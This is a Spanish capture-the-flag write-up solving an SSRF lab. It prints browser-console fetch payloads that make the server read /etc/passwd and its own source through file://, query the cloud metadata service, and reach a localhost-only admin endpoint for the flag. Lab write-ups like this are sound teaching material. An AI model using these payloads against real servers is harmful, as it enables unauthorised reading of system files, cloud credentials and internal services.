Write-ups

Resolución del Lab SSRF


Reconocimiento

La aplicación es una tienda que comprueba el stock de sus productos consultando una URL indicada por el usuario. El servidor realiza la petición a esa URL y devuelve su contenido, el patrón que habilita un Server-Side Request Forgery (SSRF).

Identificamos el único endpoint relevante: POST /api/check-stock, que recibe un JSON { "url": "..." } y no valida el destino. La explotación se realiza desde la consola del navegador ya autenticado, porque el reto está tras la cookie de sesión de la plataforma y curl externo devuelve 401.

Confirmación del SSRF

Comprobamos si el backend acepta el esquema file:// para leer un fichero local del servidor.

fetch(`${location.origin}/api/check-stock`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ url: 'file:///etc/passwd' })
}).then(r => r.json()).then(console.log)

Obtenemos el contenido de /etc/passwd. Los shells /bin/sh indican que el contenedor es Alpine, y los mensajes de error urlopen confirman que el backend usa urllib de Python.

Metadata cloud

Probamos el objetivo SSRF clásico en entornos cloud, el servicio de metadata en 169.254.169.254.

fetch(`${location.origin}/api/check-stock`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ url: 'http://169.254.169.254/latest/meta-data/' })
}).then(r => r.json()).then(console.log)

El servicio responde y user-data expone una plantilla cloud-config con una credencial por defecto. Es un señuelo del escenario: la credencial no da acceso real y no conduce a la flag. Distinguir el impacto didáctico del camino de la flag evita perder tiempo en un callejón sin salida.

Lectura del código fuente

Como file:// funciona, dejamos de adivinar y leemos el propio código de la aplicación.

fetch(`${location.origin}/api/check-stock`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ url: 'file:///app/server.py' })
}).then(r => r.json()).then(console.log)

El código revela un servidor interno oculto en 127.0.0.1:8080, accesible solo desde localhost, cuyo endpoint /admin/flag contiene la flag. El servicio público vulnerable escucha en el puerto 5000 y hace urlopen() de cualquier URL del usuario.

Acceso al servicio interno

Usamos el SSRF como puente hacia el servicio interno. La petición la origina el propio servidor, así que para el servicio llega desde 127.0.0.1 y el control de acceso por IP de origen queda inservible.

fetch(`${location.origin}/api/check-stock`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ url: 'http://127.0.0.1:8080/admin/flag' })
}).then(r => r.text()).then(console.log)

Obtenemos la flag y completamos el reto.


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *